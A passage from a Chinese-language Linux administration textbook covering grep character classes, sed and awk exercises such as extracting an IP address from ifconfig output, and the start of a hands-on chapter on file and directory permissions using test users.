[root@oldboy test]# grep "[[:digit:]]" oldboy.txt 

my qq num is 49000448. #<==匹配所有数字。

not 4900000448.        #<==匹配所有数字。

[root@oldboy test]# grep '[[:upper:]]' oldboy.txt #<==匹配大写字母。

I am oldboy teacher!

I teach linux.

I like badminton ball ,billiard ball and chinese chess!

my god ,i am not oldbey,but OLDBOY!




 
[image: ]注意：在使用中括号表达式时，需要在外面再加上一层“[]”。这里的[[：alnum：]]就相当于[a-zA-Z0-9]。
11.6　元字符表达式
 
11.6.1　元字符表达式介绍
 
元字符（meta character）是一种Perl风格的正则表达式，并不是所有的文本处理工具都支持，只有一部分文本处理工具支持元字符，具体见表11-4。
 
表11-4　元字符表达式

 
 [image: ]

 
[image: ]特别说明：网上有很多特殊的元字符列表，大部分都不能直接被grep等命令使用。
 
11.6.2　元字符表达式实践
 


[root@oldboy test]# grep "\boldboy\b" test.txt #<==匹配oldboy这个单词，可用\<oldboy\> 替代。

I am oldboy,not oldboy_10.

[root@oldboy test]# grep 'oldboy\B' test.txt   #<==匹配oldboy字符串，但不匹配oldboy这个单词。

I am oldboy,not oldboy_10.

[root@oldboy test]# grep '\w' test.txt         #<==匹配字母、数字、下划线，不匹配其他字符。

I am oldboy,not oldboy_10. 

[root@oldboy test]# grep '\W' test.txt         #<==对\w的匹配取反。

I am oldboy,not oldboy_10.

[root@oldboy test]# grep -P "\d" test.txt      #<==匹配数字，注意要加-P参数才行。

I am oldboy,not oldboy_10.     ddd

[root@oldboy test]# grep -P "\D" test.txt      #<==匹配非数字，注意要加-P参数才行。

I am oldboy,not oldboy_10.     ddd




11.7　sed：流编辑器
 
11.7.1　sed命令语法及参数说明
 
【命令星级】　　★★★★★
 
【功能说明】
 
sed是Stream Editor（字符流编辑器）的缩写，简称流编辑器。它是Linux三剑客之一。
 
sed是操作、过滤和转换文本内容的强大工具。sed的常用功能包含对文件实现快速增删改查（增加、删除、修改、查询），其中查询的功能中最常用的两大功能是过滤（过滤指定字符串）和取行（取出指定的行）。
 
【语法格式】
 


sed [选项]  [sed内置命令字符]  [输入文件]




 
[image: ]说明：
 
1）为了避免混淆，本文称呼sed为sed或sed命令，将实现不同sed功能的内部命令参数，称为“sed内置命令字符”，以区别于是sed命令还是sed内置命令选项。
 
3）“sed内置命令字符”既可以是单个命令，也可以是多个命令参数的组合。
 
4）“输入文件”为sed需要处理的文件，是可选项，sed还能从标准输入（如管道）获取输入。
 
【选项说明】
 
表11-5针对sed命令的参数选项进行了说明。
 
表11-5　sed常用参数选项
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sed的内置命令字符可用来实现对文件的不同操作功能，例如对文件的增删改查等，表11-6为sed的内置命令字符说明。
 
表11-6　sed的常用内置命令字符功能说明

 
 [image: ]

 
11.7.2　sed命令应用实践
 
首先进行测试文件的准备，代码如下：
 


[root@oldboy test]# cat -n oldboy.txt 

    1     I am oldboy teacher!

    2     I like badminton ball ,billiard ball and chinese chess!

    3     our site is http://www.oldboyedu.com

    4     my qq num is 49000448.




 
问题1：输出oldboy.txt第2-3行的内容※。
 
解答：这个问题考察的是sed的-n参数，及p功能字符的使用方法，该命令十分常用，在实际工作中，它会输出大文件中间的若干行。
 


[root@oldboy test]# sed -n '2,3p' oldboy.txt #<==-n表示默认不输出，根据要求输出第2-3行，输出用p。

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com




 
问题2：过滤出含有oldboy字符串的行※。
 
解答：这里是考察sed命令的过滤功能，类似于grep的过滤，不同的是需要用双斜线将需要过滤的字符串包含在中间。
 


[root@oldboy test]# sed -n '/oldboy/p' oldboy.txt  #<==-n表示默认不输出，利用p输出包含oldboy的行。

I am oldboy teacher!

our site is http://www.oldboyedu.com




 
问题3：删除含有oldboy字符串的行※。
 
解答：这是考察sed命令的删除功能（d字符），默认不会修改文件，如果需要修改文件，则要用-i参数配合。
 


[root@oldboy test]# sed '/oldboy/d' oldboy.txt  #<==用d符号删除包含oldboy的行。

I like badminton ball ,billiard ball and chinese chess!

my qq num is 49000448.




 
[image: ]提示：如果要修改文件内容请使用“sed-i'/oldboy/d'oldboy.txt”命令，注意测试完改回来。
 
扩展：删除指定的行。
 


sed -i '3d' oldboy.txt   #<==删第3行。

sed -i '5,8d' oldboy.txt  #<==删除第5～8行。




 
问题4：将文件中的oldboy字符串全部替换为oldgirl※。
 
解答：这是考察sed命令的替换功能，默认不会修改文件，如果需要修改文件，则要用-i参数配合，这个命令在工作中比较常用。
 


[root@oldboy test]# sed 's#oldboy#oldgirl#g' oldboy.txt 

#<==s加g表示全局替换，中间的间隔符可以用“#@/”等符号替代，前两个“#”号之间表示想要替换的内容，后两个“#”号之间表示替换后的内容。

I am oldgirl teacher!

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldgirledu.com

my qq num is 49000448.




 
问题5：将文件中的oldboy字符串全部替换为oldgirl，同时将QQ号码49000448改为31333741。
 
解答：这是考察sed命令的-e参数，多项编辑功能，这里不需要使用多次管道了。
 


[root@oldboy test]# sed -e 's#oldboy#oldgirl#g' -e "s#49000448#31333741#g" oldboy.txt 

I am oldgirl teacher!

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldgirledu.com

my qq num is 31333741.




 
问题6：在oldboy.txt文件的第2行后追加文本。
 
解答：这是考察sed命令的a字符功能，示例代码如下。
 


[root@oldboy test]# sed -i '2a I teacher linux.' oldboy.txt 

#<==这里使用了sed内置命令a追加功能，在第二行后面增加一行，内容为“I teacher linux.”。

[root@oldboy test]# cat oldboy.txt 

I am oldboy teacher!

I like badminton ball ,billiard ball and chinese chess!

I teacher linux. #<==这里是增加的行，在第二行之后。

our site is http://www.oldboyedu.com

my qq num is 49000448.




 
[image: ]提示：也可以同时增加多行，不同的行之间使用“\n”间隔开，例如：sed'2a I teacher linux.\nand you？'oldboy.txt。
 
问题7：在oldboy.txt文件的第2行插入文本。
 
解答：这是考察sed命令的i字符功能，示例代码如下。
 


[root@oldboy test]# sed -i '2i I teacher linux,at 2i.' oldboy.txt

[root@oldboy test]# cat -n oldboy.txt 

    1     I am oldboy teacher!

    2     I teacher linux,at 2i. #<==这里是增加的行，在第二行，与a不同。

    3     I like badminton ball ,billiard ball and chinese chess!

    4     I teacher linux.

    5     our site is http://www.oldboyedu.com

    6     my qq num is 49000448.




 
问题8：在oldboy.txt文件的第2行插入两行文本。
 


[root@oldboyedu ~/test]# sed '2i I teacher linux.\nYou are my student.' oldgirl.txt 

I am oldboy teacher!

I teacher linux.

You are my student.

I like badminton ball ,billiard ball and chinese chess!

our site is http://www.oldboyedu.com

my qq num is 49000448.




 
11.7.3　sed配合正则表达式的企业案例
 
前文讲解正则表达式大多使用的是grep和egrep命令，本节就来讲解下sed配合正则表达式的用法，让读者掌握正则表达式的综合运用技巧。
 
问题1：取出Linux中执行ifconfig eth0后对应的IP地址（只能输出IP地址）。
 
这道题的解答方法非常多，本节主要讲解sed的组合方法，更多方法参见下文。
 
方法1：利用正则加sed替换功能获取IP。
 
步骤1：示例网卡eth0信息如下，目标是只输出10.0.0.7这个IP地址。
 


[root@oldboyedu ~]# ifconfig eth0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        inet 10.0.0.7  netmask 255.255.255.0  broadcast 10.0.0.255

        inet6 fe80::9fdb:66ba:dc7f:3fe5  prefixlen 64  scopeid 0x20<link>

        ether 00:0c:29:2a:ca:54  txqueuelen 1000  （Ethernet）

        RX packets 2501  bytes 236841 （231.2 KiB）




 
步骤2：首先找到第2行，然后去掉目标10.0.0.7这个IP之前的内容，可使用sed的替换功能来实现。
 
正则表达式的匹配技巧：处理所需要的目标（获取的IP）前的字符串一般以“..”开头（^.*）来匹配，最后将目标IP前的结尾写上实际的字符串（这里的字符串必须要唯一，否则就会贪婪匹配到最后一个相同的字符串），匹配的正则和实际要处理的第二行其匹配关系如图11-3所示。
 
 
 [image: ] 


图11-3　正则表达式匹配目标前面的内容图示
 


[root@oldboyedu ~]# ifconfig eth0|sed -n '2s#^.*inet##gp'

#<==-n默认不输出，2s表示处理第2行，“#^.*inet #”表示匹配IP地址前的所有内容（这里的空格暂且忽略），“##gp”表示全局替换为空内容，并打印输出替换后的内容。

10.0.0.7  netmask 255.255.255.0  broadcast 10.0.0.255 #<==IP地址前的所有字符都已经替换完毕。




 
步骤3：在步骤2的基础上，再去掉目标10.0.0.7这个IP后的所有内容，这里也是使用sed的替换功能来实现。
 
正则表达式匹配技巧：匹配目标后的字符串一般紧接目标（获取的IP）之后，匹配的正则表达式开头应写上实际的字符串（这里的字符串必须要唯一，否则就会贪婪匹配到最后一个相同的字符串），再结尾则是以“...”结尾（.*$）来匹配。匹配的正则表达式与实际要处理的第二行的匹配关系如图11-4所示。
 
 
 [image: ] 


图11-4　正则匹配目标后面的内容图示
 


[root@oldboyedu ~]# ifconfig eth0|sed -n '2s#^.*inet##gp'|sed -n 's#netm.*$##gp'

#<==注意最后一个管道后面的才是这次匹配的命令，-n默认不输出，#netm.*$#匹配了IP后面的所有字符（紧接着IP后的两个空格先暂且忽略），“##”表示替换为空，然后输出剩下的内容（就只有IP地址了）。

  10.0.0.7   #<==此时的IP地址，实际上结尾和开头都是有空格的，也可以匹配这些空格并删掉。

[root@oldboyedu ~]# ifconfig eth0|sed -n '2s#^.*inet ##gp'|sed -n 's#  netm.*$##gp'   #<==inet后面匹配一个空格，netm前面匹配两个空格。

10.0.0.7   #<==结果就是只有ip，没有空格了。




 
[image: ]提示：这里有个疑问，那就是为什么要用“.*”，而不用其他的更细致匹配的正则表达式呢？工作中的操作都是极简主义，只要能解决问题使用的越简单越好。
 
方法2：-e多项编辑可以减少管道的使用。
 


[root@oldboy test]# ifconfig eth0|sed -ne '2s#^.*inet ##g' -ne '2s# netm.*$##gp'

10.0.0.7




 
方法3：利用正则的“（）”小括号和“\n”后向引用功能加上替换来实现。
 
语法如下：
 


sed -rn 's#（oldboy）（oldgirl）（boy）#\1\2\3#gp' oldboy.txt




 
其中，“\1”表示第一个括号的内容，即oldboy，“\2”表示第二个括号的内容，即oldgirl，“\3”表示第三个括号的内容，即boy，以此类推，就是利用这个命令全匹配解决问题，“-r”表示支持扩展的正则表达式。匹配关系如图11-5所示。
 
 
 [image: ] 


图11-5　正则表达式匹配要获取的目标IP图示
 
需要特别注意的是，将要获取的目标（这里是IP地址）用小括号里的内容进行匹配，这样输出时就可以用“\1”输出了，具体命令如下：
 


[root@oldboyedu ~]# ifconfig eth0|sed -nr '2s#^.*inet （.*） netm.*$#\1#gp'#<==-r支持小括号功能。 

#<==“\1”用于获取小括号的内容输出，为什么（.*）就匹配到了IP呢？这是因为它前面明确匹配到字符串了，后面的开头也给出了固定匹配的字符串，因此中间的“.*”就只能是匹配IP了，也就是说根据目标前后匹配的结果就能知道中间的内容了。

10.0.0.7




 
[image: ]提示：这种获取IP地址的方式实际上还是很复杂的，实际工作中还有很多更好的方法，这里仅仅是带大家练习一下正则表达式的使用。
 
下面留给读者一道类似的题，供读者练习：请取出stat/etc/hosts文件中第四行中的文件权限对应的644三个数字。
 
有关sed命令的更多知识，请参考https://blog.oldboyedu.com/commands-sed/。
11.8　awk命令
 
awk是Linux运维工作中最重要最强大的工具之一，如果读者掌握了awk的运用方法，那么必然能够在运维工作中得心应手。本部分的目的是带领读者掌握如何在命令行中获取任意数据的知识，awk实在是太强大了，有关awk的更多高级功能本节并未过多涉及，读者如果有需求，可以参考《跟老男孩学Linux运维：核心系统命令实战》的第4章，那里有对awk命令的详细讲解，更复杂的高级用法可参考即将出版的《跟老男孩学Linux运维：grep、sed、awk三剑客篇》（暂定）一书。
 
11.8.1　awk命令语法及参数
 
【命令星级】　　★★★★★
 
【功能说明】
 
awk不仅仅是Linux系统中的一个命令，而且其还是一种编程语言，可以用来处理数据和生成报告（excel）。处理的数据可以是一个或多个文件，它是Linux系统最强大的文本处理工具，没有之一。awk的常用功能具体见表11-7。本节将主要讲解awk命令行的文本处理常见的功能和技巧运用。
 
表11-7　awk命令常用功能
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【语法格式】
 


awk  [option]   'pattern{action}' file ...

awk   [参数]    '条件{动作}'    文件 ...




 
语法格式的说明如图11-6所示。
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图11-6　awk语法格式
 
[image: ]说明：
 
这里的模式就相当于是条件。在awk命令及后面的选项和文件里。
 
【选项说明】
 
表11-8针对awk命令的参数选项进行了说明。
 
表11-8　awk命令的参数选项及说明
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【常用功能】
 
表11-9针对awk命令的常见变量进行了列表说明。
 
表11-9　awk命令的常见变量及其属性
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11.8.2　常用实践技巧案例实战
 
首先准备好测试文件，取passwd文件的前5行，示例代码如下：
 


[root@oldboy ~]# sed -n '1,5p' /etc/passwd >test.txt

[root@oldboy ~]# cat -n test.txt

     1     root:x:0:0:root:/root:/bin/bash

     2     bin:x:1:1:bin:/bin:/sbin/nologin

     3     daemon:x:2:2:daemon:/sbin:/sbin/nologin

     4     adm:x:3:4:adm:/var/adm:/sbin/nologin

     5     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin




 
问题1：取test.txt文件的第2行到第3行的内容。
 
解答：这道题是sed功能的特长（见前文），不过awk也具有取行的功能，考察的是NR变量和“&&”（并且）逻辑符及“==”（相等）号的用法。
 
方法1：
 


[root@oldboy ~]# awk 'NR>1&&NR<4' test.txt  #<==NR表示行号，&&表示并且。

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin




 
[image: ]提示：如果是只取某一行，就使用awk'NR==2'test.txt这样的写法。
 
方法2：
 


[root@oldboy ~]# awk 'NR==2,NR==3' test.txt #<==NR表示行号，用逗号表示从第2行到第3行。

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin




 
问题2：过滤出含有root字符串的行※。
 
解答：这道题考察的是awk的过滤功能，这个功能与sed的过滤功能类似，需要将要过滤的内容用两个斜线包含起来。
 


[root@oldboy ~]# awk '/root/' test.txt  #<==类似于sed的过滤功能，但是结尾不需要p符号了。

root:x:0:0:root:/root:/bin/bash




 
问题3：删除含有root字符串的行※。
 
解答：这道题考察的是awk的删除功能，删除功能不是awk的特长，但可以通过正则表达式组合匹配达到间接解答这道题的目的。
 
步骤1：过滤出非r字符的行。
 
实际处理问题时，特别是那种带取反功能才能出结果的，逻辑上很绕，不好理解，因此，最好是分步骤先正向处理，然后再加取反符就简单了。
 


[root@oldboy ~]# awk '/[^r]/' test.txt  

#<==过滤非r字符的行，因为所有行都含有非r字符，因此全部打印了。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin




 
步骤2：过滤出以非r字符开头的行，也就是结果要求的。
 


[root@oldboy ~]# awk '/^[^r]/' test.txt #<==匹配以非r字母开头的行，因为第一行是以root开头，所以没匹配。

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin




 
[image: ]提示：当然，要想实现文件删除功能，还需要配合使用重定向符号，这道题还是使用sed来实现更好，这里提出该题意在帮读者拓展一些解题思路。
 
问题4：取文件的第一列、第三列和最后一列的内容，并打印行号※。
 
解答：这道题考察的是awk的取列功能，这是awk的本行，即考察“$n”及NF、NR的用法。
 


[root@oldboy ~]#  awk -F ":" '{print NR,$1,$3,$NF}' test.txt#<==注意语法格式。

#<==-F ":"表示以冒号为分隔符，print是打印，$1是取分隔后的第一列，NF是取最后一列，NR表示行号。

1 root 0 /bin/bash

2 bin 1 /sbin/nologin

3 daemon 2 /sbin/nologin

4 adm 3 /sbin/nologin

5 lp 4 /sbin/nologin




 
问题5：取出Linux中执行ifconfig eth0后对应的IP地址（只能输出IP地址）。
 
这道题的解法非常多，前文讲解了sed方法，本节将主要讲解awk的组合方法，更多方法，读者可以参考老男孩教育的其他图书或文章。
 


CentOS7取IP所在的行：   inet addr:10.0.0.7  Bcast:10.0.0.255  Mask:255.255.255.0

CentOS6取IP所在的行：   inet 10.0.0.7  netmask 255.255.255.0  broadcast 10.0.0.255




 
CentOS7下ifconfig输出的IP与CentOS6下有一些区别，因此使用命令获取IP的思路就会有所不同了，下面分别在CentOS7和CentOS6下练习，未标记的一般来说是都适合。
 
方法1：利用多管道获取IP（CentOS7）。
 
步骤1：
 


[root@oldboyedu ~]# ifconfig eth0|awk 'NR==2{print $2}'

#<==NR==2表示输出第二行，默认以空格作为分隔符，$2表示取第二列。CentOS7下取IP变得简单了。

10.0.0.7




 
方法2：利用设置多分隔符的功能来获取IP（该技巧方法适合于在CentOS6下获取IP）。
 


[root@oldboy ~]# ifconfig eth0|awk 'NR==2' 

    inet addr:10.0.0.7  Bcast:10.0.0.255  Mask:255.255.255.0

[root@oldboy ~]# ifconfig eth0|awk -F "[: ]+" 'NR==2{print $4}' #<==设定多分隔符的方法。

#<==-F "[: ]+"指定冒号或者空格作为分隔符，“+”号就是匹配冒号或者空格1次或多次，即多个分隔符靠到一起算一个分隔符。

10.0.0.7




 
设置多分隔符的功能来获取IP的基本原理整理如图11-7所示，冒号或者空格都是分隔符，多个连续的分隔符算一个。
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图11-7　awk获取IP的正则表达式匹配方法
 
方法3：利用设置不同的多分隔符的功能来获取IP（该技巧方法适合于在CentOS6下获取IP）
 


[root@oldboy ~]# ifconfig eth0|awk 'NR==2' 

     inet addr:10.0.0.7  Bcast:10.0.0.255  Mask:255.255.255.0

[root@oldboy ~]# ifconfig eth0|awk -F "（addr:）|（  Bcast:）" 'NR==2{print $2}'

#<==竖线符号的意思表示匹配或者左边或者右边，小括号是分组，其将作为一个整体，即以“addr:”或“  Bcast:”做分隔符。

10.0.0.7




 
[image: ]说明：
 
“-F"（addr：）|（Bcast：）"”还是比较容易理解的，我们的目标是取得IP，本例是10.0.0.7，IP的左边是“addr：”，右边是“Bcast：”，即左边将“addr：”做为分隔符，右边将“Bcast：”作为分隔符，剩下中间的IP就是我们想要获取的内容，具体见表11-10的解析。
 
但是还需要一个条件，因为IP地址在第二行，所以要使用NR==2来表示。
 
表11-10　IP地址所在的行分隔图解
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最后的命令形式就是awk-F"（addr：）|（Bcast：）"'NR==2{print$2}'了，注意“-F”的指定多分隔符的写法。
 
问题6：过滤文件中第一列的内容所匹配root的字符串，将符合条件的行的最后一列输出。
 
解答：这道题在过滤日志信息的时候经常使用，示例代码如下。
 


[root@oldboy ~]#  awk -F ":" '$1~/root/ {print $NF}' test.txt 

#<==$1~/root/表示第一列内容匹配root条件，$NF表示最后一列。

/bin/bash




 
问题7：过滤下列test1.txt文件中第三列内容分数大于70，并且小于95的人名和性别。
 


[root@oldboyedu ~]# cat test1.txt 

张三 男  80

李四 女  70

王五 男  90

赵六 女  100




 
解答：这是一个根据特定条件取列的问题，答案如下：
 


[root@oldboyedu ~]# awk '$3>70&&$3<95{print $1,$2}' test1.txt 

张三 男

王五 男




11.9　本章重点
 
1）必须熟练掌握Linux基础正则表达式字符，扩展正则表达式、预定义中括号表达式和元字符了解即可。
 
2）重点掌握Linux三剑客命令grep、sed、awk，以及熟练解答相关的常见练习题。
第12章　Linux系统权限知识及应用实践
 
12.1　文件权限介绍

 
12.1.1　文件权限简介
 
Linux系统中的文件权限与文件对应的用户及用户组关联很大，因此要想学习权限部分的知识，需要先了解一下Linux系统中用户与用户组方面的基本知识。前文在讲解Linux的文件属性时，已经介绍了用户和用户组的简单知识，并提前介绍了Linux系统文件权限的基础，在阅读本章之前，建议读者先详细阅读9.2节和9.3节，以了解用户和权限的基础知识，相关内容本章不再赘述。
 
12.1.2　文件权限位说明
 
根据前文的介绍，Linux文件或目录的基础权限位是由9个字符来控制的，每三位字符为一组，下面就通过表12-1从另一个维度来说明一下文件权限的重点知识。
 
表12-1　Linux系统9位基础权限知识说明表
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12.2　Linux文件及目录权限核心知识说明
 
12.2.1　普通文件对应读、写、执行权限的详细说明
 
现在我们已经知道Linux权限中r、w、x、“-”字符分别代表的基本含义了，那么对应到实际的Linux中，它在普通文件中代表的权限又是怎样的呢？别着急，接下来就为大家讲解。
 
Linux系统中的权限对于文件和目录来说，是有一定区别的，下面先列举一下普通文件对应的权限的重要知识。
 
1）可读r：表示具有读取、浏览文件内容（即读取文件实体block）的权限。
 
2）可写w：表示具有新增、修改、删除文件内容的权限。
 
3）可执行x：表示具有执行文件的权限。
 
其中，对于可读r，这里有两点需要做进一步说明。
 
·如果没有可读r的配合，那么使用vim编辑文件时会提示无法编辑（但可强制编辑覆盖文件），可以使用echo等命令进行重定向或追加内容到文件。

·删除、移动或创建文件等的权限是受父目录（上一级目录）的权限控制的（因为文件名没有存放在Inode里，而是在上级目录的block里存放着的，若修改上级目录的block（删除文件本体），当然会受到上级目录的Inode的权限控制），与文件本身的权限无关，因此，文件本身的可写w权限，与文件是否能被删除和改名无关。
 
对于可执行x，需要注意以下3点。
 
·首先文件的本身要能够执行（文件为命令或脚本）。

·如果是普通用户，同时还需要具备可读r的权限才能执行文件。

·而root用户只要有可执行x的权限就能执行文件。
 
12.2.2　目录对应读、写、执行权限的详细说明
 
Linux系统中目录的权限和文件的权限有一些细微的区别，下面是目录对应的权限的重要知识。
 
1）可读r：表示具有浏览目录下面文件及子目录名的权限，例如，可执行ls dir命令查看目录下的内容。但是如果没有可执行x权限的配合，则不能切换到指定目录里，即无法执行cd dir命令，而且在执行ls命令查看列表时，虽然可以看到所有的文件名，但是会提示无权访问目录下的文件。执行ls-l命令查看列表目录下的文件属性时，所有文件对应的属性都会带有问号，也会提示无权访问目录下的文件，但是依然可以看到所有的文件名。
 
2）可写w：表示具有增加、删除或修改目录内文件的权限。但是，如果没有可执行x权限的配合，即使有w权限，也无法删除或创建文件。
 
3）可执行x：表示具有进入目录的权限。例如，可以执行cd dir命令切换到目录下，但是无法列表目录下的文件及子目录。
 
上述的描述可能比较枯燥，不好理解，下面就来一起搭建测试环境，通过实践来理解上述的总结。
12.3　Linux权限体系核心知识实践
 
12.3.1　权限实践环境准备
 
1.规划三种不同的用户角色
 
为了更好地测试文件及目录实际对应的权限，笔者规划了一系列不同的用户角色，如表12-2所示。
 
表12-2　权限实践环境三种不同用户角色规划
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2.创建对应的用户及用户组角色
 
1）创建一个用户组名字为incahome，命令如下：
 


[root@oldboy ~]# groupadd incahome #<==groupadd是添加用户组的命令。




 
2）创建oldboy用户，并使之属于incahome这个组，相当于让家庭主人oldboy成为用户组incahome这个家的家庭成员，命令如下：
 


[root@oldboy ~]# userdel -r oldboy 

#<==如果之前已经创建了oldboy用户，就先删除再创建。

[root@oldboy ~]# useradd oldboy -g incahome 

#<==添加oldboy用户并加入incahome组。

[root@oldboy ~]# id oldboy #<==查看创建的oldboy用户及所属组的信息。

uid=500（oldboy）gid=502（incahome）groups=502（incahome）

#<==发现组已经更改为了incahome。




 
3）添加女主人oldgirl用户，并使之也属于incahome这个组，相当于让oldgirl成为incahome这个家的家庭成员，命令如下：
 


[root@oldboy ~]# useradd oldgirl -g incahome 

#<==添加oldgirl用户并加入incahome组。

[root@oldboy ~]# id oldgirl #<==查看创建的oldgirl用户及所属组信息。

uid=501（oldgirl）gid=502（incahome）groups=502（incahome）




 
4）添加一个其他用户test，表示与oldboy、oldgirl没有任何关联的其他组的其他人，命令如下：
 


[root@oldboy ~]# useradd test

[root@oldboy ~]# id test

uid=502（test）gid=503（test）groups=503（test）




 
3.创建用于测试的目录及文件环境
 
创建的命令如下：
 


[root@oldboy ~]# mkdir -p /oldboy #<==在根下创建测试目录oldboy。

[root@oldboy ~]# echo "echo oldboyLinux" >/oldboy/test.sh 

#<==生成脚本文件test.sh，内容是打印oldboyLinux字符串。

[root@oldboy ~]# cat /oldboy/test.sh #<==查看脚本test.sh内容。

echo oldboyLinux

[root@oldboy ~]# chmod +x /oldboy/test.sh 

#<==添加执行权限，chmod的使用详见本章后文。

[root@oldboy ~]# ls -l /oldboy/test.sh    #<==查看授权后的权限属性。

-rwxr-xr-x. 1 root root 17 Apr 30 09:55 /oldboy/test.sh




 
4.打开远程登录窗口，并登录
 
打开4个Xshell SSH远程登录窗口，并分别使用root、oldboy、oldgirl、test用户角色进行登录，其中root窗口是用来修改文件属性的，其他3个用户窗口则是用来测试对应权限是否符合预期，设置好后不同窗口的登录情况如图12-1所示。
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图12-1　Xshell SSH远程登录不同窗口用户角色说明
 
12.3.2　通过实践测试文件对应权限
 
1.测试默认情况下不同用户的对应权限
 
待测试文件及目录的默认属性如下：
 


[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-x. 2 root root 4096 Apr 30 09:55 /oldboy

[root@oldboy ~]# ls -l /oldboy/test.sh

-rwxr-xr-x. 1 root root 17 Apr 30 09:55 /oldboy/test.sh




 
请读者分别测试oldboy、oldgirl、test用户针对上述test.sh文件的权限，并给出结论，看看预测的结论与下文的结论是否一致。
 
下面是测试的命令集合：
 


测试读r的命令为：cat /oldboy/test.sh

测试写w的命令为：echo "echo oldboy" >>/oldboy/test.sh

测试执行x的命令为：/oldboy/test.sh

测试删除的命令为：rm -f /oldboy/test.sh




 
经过测试，你会发现三个用户的测试结果一致。因此，这里将只以oldboy用户为例针对操作过程进行整理。命令如下：
 


[oldboy@oldboy ~]$ cat /oldboy/test.sh  #<==可以查看文件内容，说明有读文件的权限。

echo oldboyLinux

[oldboy@oldboy ~]$ echo "echo oldboy" >>/oldboy/test.sh #<==往文件里追加内容。

-bash: /oldboy/test.sh: Permission denied  #<==提示拒绝，不能往文件里追加内容，说明不能写。

[oldboy@oldboy ~]$ /oldboy/test.sh  #<==执行后有打印输出，说明有执行的权限。

oldboyLinux

[oldboy@oldboy ~]$ rm -f /oldboy/test.sh #<==测试一下删除文件。

rm: cannot remove `/oldboy/test.sh': Permission denied #<==依然提示拒绝。




 
对于上述test.sh文件来说，用户和组都是root，因此，相对tesh.sh文件来说，oldboy、oldgirl、test这三个用户都是其他用户角色，即针对tesh.sh的权限查看最后三位（r-x），可以发现，它们都有读和执行的权限。
 
综上所述，oldboy、oldgirl、test三个用户针对上述test.sh文件都拥有同样的其他用户（Other）权限，即读和执行，但都没有写的权限。可能有读者会思考，因为“r-x”中的“-”位置没有w，所以不可写文件，这没有错，但是不能删除文件是不是也因为没有这个w呢？后面测试时加上w权限之后再删除看看。
 
2.在root窗口将与文件对应的用户改为oldboy，用户组改为incahome
 
具体步骤如下：
 


[root@oldboy ~]# chown oldboy.incahome /oldboy/test.sh #<==将文件所属的用户改为oldboy，组改为incahome。

[root@oldboy ~]# ls -l /oldboy/test.sh  #<==查看修改后的结果。

-rwxr-xr-x. 1 oldboy incahome 17 Apr 30 09:55 /oldboy/test.sh




 
[image: ]提示：oldboy用户对test.sh的权限，可查看前3位，即“rwx”；oldgirl用户属于incahome组，因此，对tesh.sh的权限，可查看中间三位，即“r-x”；test用户则查看后三位，即“r-x”。
 
然后，请读者再分别测试oldboy、oldgirl、test用户对上述test.sh文件的权限，并给出结论。
 
根据文件属性信息可知，test.sh的所有者已经改为了oldboy用户，所以oldboy用户对test.sh的权限是看前三位（rwx），可以得知，它具有读、写和执行的权限。登录oldboy用户窗口的实践步骤如下：[1]
 


[oldboy@oldboy ~]$ whoami

oldboy

[oldboy@oldboy ~]$ cat /oldboy/test.sh   #<==可以浏览内容。

echo oldboyLinux

[oldboy@oldboy ~]$ echo "echo oldboy" >>/oldboy/test.sh  #<==可以追加（写）内容。

[oldboy@oldboy ~]$ cat /oldboy/test.sh   #<==查看追加结果。

echo oldboyLinux

echo oldboy

[oldboy@oldboy ~]$ /oldboy/test.sh      #<==可以执行文件。

oldboyLinux

oldboy




 
测试结论：oldboy用户对test.sh拥有的权限要看前三位（rwx），可以看出，其具有读、写和执行的权限。
 
下面同样根据文件属性信息来进行测试，这里test.sh对应的用户组已经改为了incahome，而oldgirl属于incahome组，因此，oldgirl对test.sh的权限就看中间三位（r-x），可以看出，它具有读和执行的权限，而无写入文件的权限。登录oldgirl用户窗口的实践步骤如下：
 


[oldgirl@oldboy ~]$ whoami

oldgirl

[oldgirl@oldboy ~]$ cat /oldboy/test.sh    #<==可以浏览内容。

echo oldboyLinux

echo oldboy

[oldgirl@oldboy ~]$ echo "echo oldboy" >>/oldboy/test.sh    #<==不可以写入，这一点符合预期。

-bash: /oldboy/test.sh: Permission denied

[oldgirl@oldboy ~]$ 

[oldgirl@oldboy ~]$ /oldboy/test.sh         #<==可以执行。

oldboyLinux

oldboy

[oldgirl@oldboy ~]$ rm -f /oldboy/test.sh    #<==不能删除文件。

rm: cannot remove `/oldboy/test.sh': Permission denied




 
测试结论：oldgirl用户对test.sh文件拥有对应用户组（incahome）的权限，即读和执行的权限，没有写权限。
 
下面还是根据文件的属性信息进行测试，这里test.sh对应的用户oldboy和用户组incahome都与test用户毫无关系，因此，test用户对test.sh的权限就看结尾三位（r-x），它具有读和执行的权限，而无写入文件的权限。由于所有的实践步骤和结果都等同于oldgirl用户，因此这里不再赘述。
 
最终结论：test用户对于test.sh文件拥有对应其他用户位的权限，即读和执行的权限，没有写的权限。
 
3.重点测试oldboy用户对文件的w删除权限及test用户的执行权限
 
将test.sh中其他用户权限的r权限去掉，具体步骤如下：
 


[root@oldboy ~]# chmod 751 /oldboy/test.sh

[root@oldboy ~]# ls -l /oldboy/test.sh

-rwxr-x--x. 1 oldboy incahome 29 Apr 30 10:38 /oldboy/test.sh #<==其他用户权限的r权限已经去掉。




 
下面测试oldboy用户下是否有删除test.sh的权限，命令如下：
 


[oldboy@oldboy ~]$ rm -f /oldboy/test.sh  #<==依然无法删除，oldboy用户对于tesh.sh来说是用户，权限看前三位，不是有w权限么？为什么删除不了呢？

rm: cannot remove `/oldboy/test.sh': Permission denied




 
